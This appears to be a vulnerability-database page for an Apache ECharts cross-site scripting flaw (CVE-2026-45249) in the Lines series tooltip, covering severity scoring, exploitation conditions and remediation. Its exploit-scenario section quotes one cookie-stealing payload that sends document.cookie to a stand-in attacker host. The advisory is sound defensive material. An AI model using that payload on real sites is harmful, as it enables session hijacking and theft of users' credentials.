Skip to main content

Apache ECharts CVE-2026-45249

| EUVDEUVD-2026-31650 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-25 apache GHSA-fgmj-fm8m-jvvx
6.1
CVSS 3.1 · Vendor: apache
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker supplies HTML payload in Lines series name field
  2. Delivery
    Application stores or proxies unsanitized name into series.data
  3. Exploit
    Victim loads page rendering ECharts Lines chart
  4. Execution
    Victim hovers over data point triggering built-in tooltip
  5. Persist
    ECharts inserts raw name via innerHTML into tooltip DOM
  6. Impact
    Injected script executes in victim's browser session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all four of the following conditions to be simultaneously true: (1) the application uses the ECharts Lines series type (series.type = 'lines'); (2) tooltip is enabled (tooltip.trigger is set and tooltip is not disabled); (3) no user-specified tooltip.formatter is provided for the affected series, so the vulnerable built-in formatter is used; (4) at least one entry in series.data has a name field whose value is influenced by attacker-controlled input - such as user-submitted data, external API data, or URL parameters - that has not been HTML-escaped before being passed to ECharts. Exploitation is further limited by the requirement for user interaction (UI:R): the victim must cause the tooltip to appear, typically by hovering over the data point. Applications that do not use the Lines series, that always supply a custom tooltip.formatter, or that sanitize data before passing it to ECharts are not exploitable. Authentication is not a limiting factor - the CVSS vector PR:N confirms the attack does not require the attacker to be authenticated to the target application.

Impact

CVSS 6.1 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:C reflects a network-reachable, low-complexity, unauthenticated attack that requires a single user interaction (hovering over or triggering the tooltip) and achieves cross-scope impact on confidentiality and integrity. The Scope:Changed indicator reflects browser context escape - injected script runs in the victim's browser session rather than just the chart canvas. However, multiple signals converge on lower real-world priority: EPSS at 0.03% (10th percentile) indicates minimal observed exploitation; SSVC classification shows Exploitation: none and Automatable: no, consistent with the UI:R requirement; the vulnerability is not listed in CISA KEV. The critical limiting condition is that the application must accept attacker-controlled data into series.data[i].name without server-side sanitization - a design choice that is common in data-driven dashboards but not universal. Applications that sanitize user-supplied strings before passing them to ECharts are not exploitable. Overall, this is a genuine medium-severity finding warranting patch prioritization in the next maintenance cycle, but it does not justify emergency response absent evidence of active exploitation or a confirmed attacker-controlled data path in a specific deployment.

Exploit ScenarioDerived

An attacker who can influence data that an application loads into a Lines series chart - for example, via a user-editable label field stored in a database, a third-party API response, or a URL parameter - sets a series.data[i].name value to a malicious HTML payload such as <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)/>. When a legitimate user loads the page and hovers over the affected data point, ECharts renders the tooltip using innerHTML, executing the payload in the victim's browser session and exfiltrating session cookies or performing actions on behalf of the user. The GitHub PR for this fix includes a test file (test/tooltip-xss.html) demonstrating this exact trigger pattern with <img src='x' onerror='onXSSTriggered()'/>, confirming the attack vector is reproducible.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

Cross-site scripting in Apache ECharts before 6.1.0 allows remote unauthenticated attackers to inject and execute arbitrary HTML and JavaScript in a victim's browser via the Lines series tooltip rendering path. When an application uses the Lines series with tooltips enabled, omits a custom tooltip.formatter, and populates series.data[i].name with attacker-influenced data, ECharts passes the raw name string through an innerHTML sink rather than applying the HTML escaping that all other built-in tooltip formatters perform. No public exploit is identified at time of analysis and EPSS is 0.03% (10th percentile), but the GitHub PR fixing this issue includes a working test case demonstrating script execution via a crafted name payload.

RemediationAI

Upgrade Apache ECharts to version 6.1.0, which contains the fix committed in GitHub PR #21608 (https://github.com/apache/echarts/pull/21608). This is the primary and recommended remediation per the Apache advisory at https://lists.apache.org/thread/1g6xk7gd9vg1c6zyqqt2lnko10zomc3o. If an immediate upgrade is not feasible, a targeted workaround is to supply a custom tooltip.formatter for any Lines series that renders user-influenced data - since custom formatters are responsible for their own output and can perform explicit HTML escaping (e.g., using a utility such as DOMPurify or a simple entity-encoder), this prevents the vulnerable built-in path from executing. A second workaround is to sanitize all values assigned to series.data[i].name on the server side before they reach the browser, stripping or encoding HTML characters; this adds defense-in-depth regardless of upgrade status but requires discipline across all data pipelines. Disabling tooltips globally is effective but eliminates useful UX. The Apache security best-practices guide at https://echarts.apache.org/handbook/en/best-practices/security/#passing_raw_html_safely provides additional guidance on safe HTML handling in ECharts.

Affected VersionsENISA

Apache ECharts 0 <6.1.0

Affected Packages

npm echarts fix: 6.1.0
euvd apache_echarts fix: 6.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Apache ECharts is an open-source JavaScript visualization library (CPE: cpe:2.3:a:apache_software_foundation:apache_echarts:*:*:*:*:*:*:*:*). The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically an innerHTML sink in the Lines series tooltip formatting code in src/chart/lines/LinesSeries.ts. Prior to the fix in PR #21608, the getDefaultTooltipContent method returned series.data[i].name directly as a raw string, which the tooltip subsystem then injected via innerHTML without sanitization. All other built-in ECharts tooltip formatters apply HTML escaping by convention, but the Lines series code path lacked this step, creating an inconsistency that constitutes the vulnerability. The fix restructures the returned data object to include explicit name and value fields, enabling proper downstream escaping. The affected Lines series is used to render polyline or route data on geographic or Cartesian coordinate systems and is commonly used in map-overlay visualizations.

Know when Apache Echarts gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (apache) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (apache) · only source for this CVE.

CVSS VectorVendor: apache

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
CVSS changed
May 26, 2026 - 17:22 NVD
6.1 (MEDIUM)
CVE Published
May 25, 2026 - 07:38 nvd
UNKNOWN (no severity yet)
CVE Published
May 25, 2026 - 07:38 nvd
MEDIUM 6.1

DescriptionCVE.org

A cross-site scripting (XSS) vulnerability exists in Apache ECharts in the Lines series tooltip rendering logic.

This issue affects Apache ECharts: from before 6.1.0.

In versions prior to 6.1.0, if both Lines series and tooltip are used, and no user-specified tooltip.formatter is provided, and series.data[i].name is specified, raw HTML string series.data[i].name can be rendered through innerHTML sink into tooltip content. Although tooltip is allowed to accept user-provided raw HTML via a custom tooltip.formatter, the built-in tooltip formatters conventionally perform HTML escaping automatically. This case breaks that convention and may unexpectedly lead to script execution when tooltips are displayed.

Users are recommended to upgrade to version 6.1.0 if using the Lines series in this way, which fixes the issue.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy